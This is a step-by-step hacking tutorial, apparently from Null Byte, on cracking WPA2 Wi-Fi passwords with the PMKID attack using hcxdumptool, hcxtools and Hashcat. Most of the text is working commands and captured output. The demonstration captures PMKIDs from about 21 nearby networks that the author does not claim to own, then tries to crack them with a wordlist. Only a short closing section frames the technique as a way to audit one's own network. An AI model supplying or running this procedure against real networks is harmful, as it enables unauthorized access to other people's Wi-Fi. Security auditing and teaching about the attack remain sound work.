Cracking the password for WPA2 networks has been roughly the same for many years, but a newer attack requires less interaction and info than previous techniques and has the added advantage of being able to target access points with no one connected. The latest attack against the PMKID uses Hashcat to crack WPA passwords and allows hackers to find networks with weak passwords more easily.
The Old Way to Crack WPA2 Passwords
The old way of cracking WPA2 has been around quite some time and involves momentarily disconnecting a connected device from the access point we want to try to crack. That has two downsides, which are essential for Wi-Fi hackers to understand.
The first downside is the requirement that someone is connected to the network to attack it. The network password might be weak and very easy to break, but without a device connected to kick off briefly, there is no opportunity to capture a handshake, thus no chance to try cracking it.
The second downside of this tactic is that it's noisy and legally troubling in that it forces you to send packets that deliberately disconnect an authorized user for a service they are paying to use. This kind of unauthorized interference is technically a denial-of-service attack and, if sustained, is equivalent to jamming a network. It can get you into trouble and is easily detectable by some of our previous guides.
A New Method of Password Cracking
Rather than relying on intercepting two-way communications between Wi-Fi devices to try cracking the password, an attacker can communicate directly with a vulnerable access point using the new method. On Aug. 4, 2018, a post on the Hashcat forum detailed a new technique leveraging an attack against the RSN IE (Robust Security Network Information Element) of a single EAPOL frame to capture the needed information to attempt a brute-force attack.
Similar to the previous attacks against WPA, the attacker must be in proximity to the network they wish to attack. The objective will be to use a Kali-compatible wireless network adapter to capture the information needed from the network to try brute-forcing the password. Rather than using Aireplay-ng or Aircrack-ng, we'll be using a new wireless attack tool to do this called hcxtools.
Using Hcxtools & Hashcat
Hcxdumptool and hcxpcaptool are tools written for Wi-Fi auditing and penetration testing, and they allow us to interact with nearby Wi-Fi networks to capture WPA handshakes and PMKID hashes. It works similar to Besside-ng in that it requires minimal arguments to start an attack from the command line, can be run against either specific targets or targets of convenience, and can be executed quickly over SSH on a Raspberry Pi or another device without a screen.
Once the PMKID is captured, the next step is to load the hash into Hashcat and attempt to crack the password. This is where hcxtools differs from Besside-ng, in that a conversion step is required to prepare the file for Hashcat. We'll use hcxpcaptool to convert our PCAPNG file into one Hashcat can work with, leaving only the step of selecting a robust list of passwords for your brute-forcing attempts.
- Don't Miss: How to Automate Wi-Fi Hacking with Besside-ng
It's worth mentioning that not every network is vulnerable to this attack. Because this is an optional field added by some manufacturers, you should not expect universal success with this technique. Whether you can capture the PMKID depends on if the manufacturer of the access point did you the favor of including an element that includes it, and whether you can crack the captured PMKID depends on if the underlying password is contained in your brute-force password list. If either condition is not met, this attack will fail.
What You'll Need
To try this attack, you'll need to be running Kali Linux and have access to a wireless network adapter that supports monitor mode and packet injection. We have several guides about selecting a compatible wireless network adapter below.
Aside from a Kali-compatible network adapter, make sure that you've fully updated and upgraded your system. If you don't, some packages can be out of date and cause issues while capturing.
Step 1: Install Hxctools & Hashcat
First, we'll install the tools we need. To download them, type the following into a terminal window.
~# git clone https://github.com/ZerBea/hcxdumptool.git
Cloning into 'hcxdumptool'...
remote: Enumerating objects: 133, done.
remote: Counting objects: 100% (133/133), done.
remote: Compressing objects: 100% (97/97), done.
remote: Total 2127 (delta 82), reused 76 (delta 36), pack-reused 1994
Receiving objects: 100% (2127/2127), 759.53 KiB | 1.79 MiB/s, done.
Resolving deltas: 100% (1434/1434), done.Then, change into the directory and finish the installation with make and then make install.
~# cd hcxdumptool
~/hcxdumptool# make
cc -O3 -Wall -Wextra -std=gnu99 -o hcxpioff hcxpioff.c
cc -O3 -Wall -Wextra -std=gnu99 -o hcxdumptool hcxdumptool.c -lcrypto
~/hcxdumptool# make install
cc -O3 -Wall -Wextra -std=gnu99 -o hcxpioff hcxpioff.c
cc -O3 -Wall -Wextra -std=gnu99 -o hcxdumptool hcxdumptool.c -lcrypto
install -m 0755 -D hcxpioff /usr/local/bin/hcxpioff
install -m 0755 -D hcxdumptool /usr/local/bin/hcxdumptool
rm -f hcxpioff
rm -f hcxdumptool
rm -f *.o *~When it finishes installing, we'll move onto installing hxctools. To do so, open a new terminal window or leave the /hexdumptool directory, then install hxctools.
~/hcxdumptool#cd
~# git clone https://github.com/ZerBea/hcxtools.git
Cloning into 'hcxtools'...
remote: Enumerating objects: 120, done.
remote: Counting objects: 100% (120/120), done.
remote: Compressing objects: 100% (82/82), done.
remote: Total 6196 (delta 77), reused 79 (delta 38), pack-reused 6076
Receiving objects: 100% (6196/6196), 1.89 MiB | 5.02 MiB/s, done.
Resolving deltas: 100% (4320/4320), done.Next, change into its directory and run make and make install like before. If you get an error, try typing sudo before the command.
~# cd hcxtools
~/hcxtools# make
mkdir -p .deps
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpcapngtool.d -o hcxpcapngtool hcxpcapngtool.c -lz -lcrypto
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxhashtool.d -o hcxhashtool hcxhashtool.c -lcrypto -lcurl
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpsktool.d -o hcxpsktool hcxpsktool.c -lcrypto
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxwltool.d -o hcxwltool hcxwltool.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlancap2wpasec.d -o wlancap2wpasec wlancap2wpasec.c -lcurl
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/whoismac.d -o whoismac whoismac.c -lcurl
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpmkidtool.d -o hcxpmkidtool hcxpmkidtool.c -lcrypto -lpthread
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2john.d -o wlanhcx2john wlanhcx2john.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxpcaptool.d -o hcxpcaptool hcxpcaptool.c -lz -lcrypto
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxhashcattool.d -o hcxhashcattool hcxhashcattool.c -lcrypto -lpthread
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxmactool.d -o hcxmactool hcxmactool.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxessidtool.d -o hcxessidtool hcxessidtool.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/hcxhash2cap.d -o hcxhash2cap hcxhash2cap.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhc2hcx.d -o wlanhc2hcx wlanhc2hcx.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanwkp2hcx.d -o wlanwkp2hcx wlanwkp2hcx.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxinfo.d -o wlanhcxinfo wlanhcxinfo.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcx2ssid.d -o wlanhcx2ssid wlanhcx2ssid.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanhcxcat.d -o wlanhcxcat wlanhcxcat.c -lcrypto
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanpmk2hcx.d -o wlanpmk2hcx wlanpmk2hcx.c -lcrypto
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlanjohn2hcx.d -o wlanjohn2hcx wlanjohn2hcx.c
cc -O3 -Wall -Wextra -std=gnu99 -MMD -MF .deps/wlancow2hcxpmk.d -o wlancow2hcxpmk wlancow2hcxpmk.c
~/hcxtools# make install
install -m 0755 -D hcxpcapngtool /usr/local/bin/hcxpcapngtool
install -m 0755 -D hcxhashtool /usr/local/bin/hcxhashtool
install -m 0755 -D hcxpsktool /usr/local/bin/hcxpsktool
install -m 0755 -D hcxwltool /usr/local/bin/hcxwltool
install -m 0755 -D wlancap2wpasec /usr/local/bin/wlancap2wpasec
install -m 0755 -D whoismac /usr/local/bin/whoismac
install -m 0755 -D hcxpmkidtool /usr/local/bin/hcxpmkidtool
install -m 0755 -D wlanhcx2john /usr/local/bin/wlanhcx2john
install -m 0755 -D hcxpcaptool /usr/local/bin/hcxpcaptool
install -m 0755 -D hcxhashcattool /usr/local/bin/hcxhashcattool
install -m 0755 -D hcxmactool /usr/local/bin/hcxmactool
install -m 0755 -D hcxessidtool /usr/local/bin/hcxessidtool
install -m 0755 -D hcxhash2cap /usr/local/bin/hcxhash2cap
install -m 0755 -D wlanhc2hcx /usr/local/bin/wlanhc2hcx
install -m 0755 -D wlanwkp2hcx /usr/local/bin/wlanwkp2hcx
install -m 0755 -D wlanhcxinfo /usr/local/bin/wlanhcxinfo
install -m 0755 -D wlanhcx2ssid /usr/local/bin/wlanhcx2ssid
install -m 0755 -D wlanhcxcat /usr/local/bin/wlanhcxcat
install -m 0755 -D wlanpmk2hcx /usr/local/bin/wlanpmk2hcx
install -m 0755 -D wlanjohn2hcx /usr/local/bin/wlanjohn2hcx
install -m 0755 -D wlancow2hcxpmk /usr/local/bin/wlancow2hcxpmkFinally, we'll need to install Hashcat, which should be easy, as it's included in the Kali Linux repo by default. Simply type the following to install the latest version of Hashcat.
~/hcxtools# cd
~# apt install hashcat
Reading package lists... Done
Building dependency tree
Reading state information... Done
hashcat is already the newest version (5.1.0+ds1-1).
The following packages were automatically installed and are no longer required:
libdouble-conversion1 liblinear3
Use 'apt autoremove' to remove them.
0 upgraded, 0 newly installed, 0 to remove and 1863 not upgraded.With this complete, we can move on to setting up the wireless network adapter.
Step 2: Prepare the Wireless Network Adapter
After plugging in your Kali-compatible wireless network adapter, you can find the name by typing ifconfig or ip a. Typically, it will be named something like wlan0. The first step will be to put the card into wireless monitor mode, allowing us to listen in on Wi-Fi traffic in the immediate area.
To do this, type the following command into a terminal window, substituting the name of your wireless network adapter for wlan0.
~# airmon-ng start wlan0
Found 3 processes that could cause trouble
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
555 NetworkManager
611 wpa_supplicant
6636 dhclient
PHY Interface Driver Chipset
phy0 wlan0 ath9k Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter (rev 01)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
phy1 wlan1 ath9k_htc Atheros Communications, Inc. AR9271 802.11nNow, your wireless network adapter should have a name like "wlan0mon" and be in monitor mode. You can confirm this by running ifconfig again.
Step 3: Use Hxcdump to Capture PMKIDs from Local Networks
Now we are ready to capture the PMKIDs of devices we want to try attacking. With our wireless network adapter in monitor mode as "wlan1mon," we'll execute the following command to begin the attack.
~# hcxdumptool -i wlan1mon -o galleria.pcapng --enable__status=1Breaking this down, -i tells the program which interface we are using, in this case, wlan1mon. The filename we'll be saving the results to can be specified with the -o flag argument. The channel we want to scan on can be indicated with the -c flag followed by the number of the channel to scan.
In our command above, we're using wlan1mon to save captured PMKIDs to a file called "galleria.pcapng." While you can specify another status value, I haven't had success capturing with any value except 1.
warning: NetworkManager is running with pid 555
warning: wpa_supplicant is running with pid 611
warning: wlan1mon is probably a monitor interface
start capturing (stop with ctrl+c)
INTERFACE:...............: wlan1mon
FILTERLIST...............: 0 entries
MAC CLIENT...............: fcc233ca8bc5
MAC ACCESS POINT.........: 10ae604b9e82 (incremented on every new client)
EAPOL TIMEOUT............: 150000
REPLAYCOUNT..............: 62439
ANONCE...................: d8dd2206c82ad030e843a39e8f99281e215492dbef56f693cd882d4dfcde9956
[22:17:32 - 001] c8b5adb615ea -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:17:32 - 001] c8b5adb615e9 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:17:33 - 001] 2c95694f3ca0 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:17:33 - 001] 2c95694f3ca0 -> b4b686abc81a [FOUND PMKID]
[22:17:48 - 011] 14edbb9938ea -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:17:48 - 011] 88964e3a8ea0 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:17:49 - 011] dc7fa425888a -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:17:51 - 011] 88964e801fa0 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:17:57 - 001] 9822efc6fdff -> ba634d3eb80d [EAPOL 4/4 - M4 RETRY ATTACK]
[22:17:57 - 001] 9822efc6fdff -> ba634d3eb80d [FOUND HANDSHAKE AP-LESS, EAPOL TIMEOUT 6696]
[22:18:04 - 011] 803773defd01 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:19:21 - 011] 14edbb9ba0e6 -> 803773defd01 [FOUND AUTHORIZED HANDSHAKE, EAPOL TIMEOUT 15247]
[22:19:34 - 006] 0618d629465b -> 58fb8433aac2 [FOUND AUTHORIZED HANDSHAKE, EAPOL TIMEOUT 2832]
[22:19:42 - 005] e0220203294e -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:19:57 - 011] 14edbb9ba0e6 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:20:02 - 008] 14edbbd29326 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:20:04 - 008] 1c872c707c60 -> 78e7d17791e7 [FOUND PMKID]
[22:20:11 - 009] e0220453a576 -> fcc233ca8bc5 [FOUND PMKID CLIENT-LESS]
[22:20:27 - 001] ace2d32602da -> c8665d5dd654 [FOUND HANDSHAKE AP-LESS, EAPOL TIMEOUT 5202]
INFO: cha=2, rx=32752, rx(dropped)=2801, tx=2205, powned=18, err=0When you've gathered enough, you can stop the program by typing Control-C to end the attack. This should produce a PCAPNG file containing the information we need to attempt a brute-forcing attack, but we will need to convert it into a format Hashcat can understand.
Step 4: Use Hxcpcaptool to Convert the Dump for Hashcat
To convert our PCAPNG file, we'll use hcxpcaptool with a few arguments specified. In the same folder that your .PCAPNG file is saved, run the following command in a terminal window.
~# hcxpcaptool -E essidlist -I identitylist -U usernamelist -z galleriaHC.16800 galleria.pcapngThis command is telling hxcpcaptool to use the information included in the file to help Hashcat understand it with the -E, -I, and -U flags. The -Z flag is used for the name of the newly converted file for Hashcat to use, and the last part of the command is the PCAPNG file we want to convert.
Running the command should show us the following.
summary:
--------
file name....................: galleria.pcapng
file type....................: pcapng 1.0
file hardware information....: x86_64
file os information..........: Linux 4.18.0-kali2-amd64
file application information.: hcxdumptool 4.2.1
network type.................: DLT_IEEE802_11_RADIO (127)
endianess....................: little endian
read errors..................: flawless
packets inside...............: 1089
skipped packets..............: 0
packets with GPS data........: 0
packets with FCS.............: 732
beacons (with ESSID inside)..: 49
probe requests...............: 26
probe responses..............: 40
association requests.........: 103
association responses........: 204
reassociation requests.......: 2
reassocaition responses......: 7
authentications (OPEN SYSTEM): 346
authentications (BROADCOM)...: 114
authentications (APPLE)......: 1
EAPOL packets................: 304
EAPOL PMKIDs.................: 21
best handshakes..............: 4 (ap-less: 1)
21 PMKID(s) written to galleriahC.16800Here, we can see we've gathered 21 PMKIDs in a short amount of time. Now we can use the "galleriaHC.16800" file in Hashcat to try cracking network passwords.
Step 5: Select a Password List & Brute Force with Hashcat
To start attacking the hashes we've captured, we'll need to pick a good password list. You can find several good password lists to get started over at the SecList collection. Once you have a password list, put it in the same folder as the .16800 file you just converted, and then run the following command in a terminal window.
~# hashcat -m 16800 galleriaHC.16800 -a 0 --kernel-accel=1 -w 4 --force 'topwifipass.txt'In this command, we are starting Hashcat in 16800 mode, which is for attacking WPA-PMKID-PBKDF2 network protocols. Next, we'll specify the name of the file we want to crack, in this case, "galleriaHC.16800." The -a flag tells us which types of attack to use, in this case, a "straight" attack, and then the -w and --kernel-accel=1 flags specifies the highest performance workload profile. If your computer suffers performance issues, you can lower the number in the -w argument.
Next, the --force option ignores any warnings to proceed with the attack, and the last part of the command specifies the password list we're using to try to brute force the PMKIDs in our file, in this case, called "topwifipass.txt."
hashcat (v4.2.1) starting...
OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-AMD A8-6410 APU with AMD Radeon R5 Graphics, 2553/2553 MB allocatable, 4MCU
Hashes: 21 digests; 21 unique digests, 20 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Slow-Hash-SIMD-LOOP
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
* Device #1: build_opts '-cl-std=CL1.1 -I OpenCL -I /usr/share/hashcat/OpenCL -D VENDOR ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=16800 -D _unroll'
Dictionary cache hit:
* Filename..: topwifipass.txt
* Passwords.: 4801
* Bytes.....: 45277
* Keyspace..: 4801
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>Depending on your hardware speed and the size of your password list, this can take quite some time to complete. To see the status at any time, you can press the S key for an update.
Step 6: Interpret the Results
As Hashcat cracks away, you'll be able to check in as it progresses to see if any keys have been recovered.
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: galleriaHC.16800
Time.Started.....: Sun Oct 28 22:32:57 2018 (7 mins, 50 secs)
Time.Estimated...: Sun Oct 28 22:57:50 2018 (17 mins, 3 secs)
Guess.Base.......: File (topwifipass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 64 H/s (15.43ms) @ Accel:1 Loops:1024 Thr:1 Vec:4
Recovered........: 0/21 (0.00%) Digests, 0/20 (0.00%) Salts
Progress.........: 30180/96020 (31.43%)
Rejected.........: 0/30180 (0.00%)
Restore.Point....: 1508/4801 (31.41%)
Candidates.#1....: peter123 -> moneyman
HWon.Dev.#1......: N/A
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>
Session..........: hashcat
Status...........: Running
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: galleriaHC.16800
Time.Started.....: Sun Oct 28 22:32:57 2018 (19 mins, 56 secs)
Time.Estimated...: Sun Oct 28 22:57:54 2018 (5 mins, 3 secs)
Guess.Base.......: File (topwifipass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 64 H/s (15.24ms) @ Accel:1 Loops:1024 Thr:1 Vec:4
Recovered........: 0/21 (0.00%) Digests, 0/20 (0.00%) Salts
Progress.........: 76736/96020 (79.92%)
Rejected.........: 0/76736 (0.00%)
Restore.Point....: 3836/4801 (79.90%)
Candidates.#1....: monopoli -> mercenary
HWon.Dev.#1......: N/A
[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit =>When the password list is getting close to the end, Hashcat will automatically adjust the workload and give you a final report when it's complete.
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Type........: WPA-PMKID-PBKDF2
Hash.Target......: hotspotcap.16800
Time.Started.....: Sun Oct 28 18:05:57 2018 (3 mins, 49 secs)
Time.Estimated...: Sun Oct 28 18:09:46 2018 (0 secs)
Guess.Base.......: File (topwifipass.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 42 H/s (15.56ms) @ Accel:1 Loops:1024 Thr:1 Vec:4
Recovered........: 0/2 (0.00%) Digests, 0/2 (0.00%) Salts
Progress.........: 9602/9602 (100.0%)
Rejected.........: 2/9602 (0.02%)
Restore.Point....: 4801/4801 (100.0%)
Candidates.#1....: 159159159 -> 00001111
HWon.Dev.#1......: N/A
Started: Sun Oct 28 18:05:56 2018
Stopped: Sun Oct 28 18:09:49 2018If you've managed to crack any passwords, you'll see them here. In our test run, none of the PMKIDs we gathered contained passwords in our password list, thus we were unable to crack any of the hashes. This will most likely be your result too against any networks with a strong password but expect to see results here for networks using a weak password.
The PMKID Hashcat Attack Makes Wi-Fi Attacks Easier
While the new attack against Wi-Fi passwords makes it easier for hackers to attempt an attack on a target, the same methods that were effective against previous types of WPA cracking remain effective. If your network doesn't even support the robust security element containing the PMKID, this attack has no chance of success. You can audit your own network with hcxtools to see if it is susceptible to this attack.
Even if your network is vulnerable, a strong password is still the best defense against an attacker gaining access to your Wi-Fi network using this or another password cracking attack.
Because these attacks rely on guessing the password the Wi-Fi network is using, there are two common sources of guesses; The first is users picking default or outrageously bad passwords, such as "12345678" or "password." These will be easily cracked. The second source of password guesses comes from data breaches that reveal millions of real user passwords. Because many users will reuse passwords between different types of accounts, these lists tend to be very effective at cracking Wi-Fi networks.
I hope you enjoyed this guide to the new PMKID-based Hashcat attack on WPA2 passwords! If you have any questions about this tutorial on Wi-Fi password cracking or you have a comment, feel free to reach me on Twitter @KodyKinzie.
Cover photo and screenshots by Kody/Null Byte
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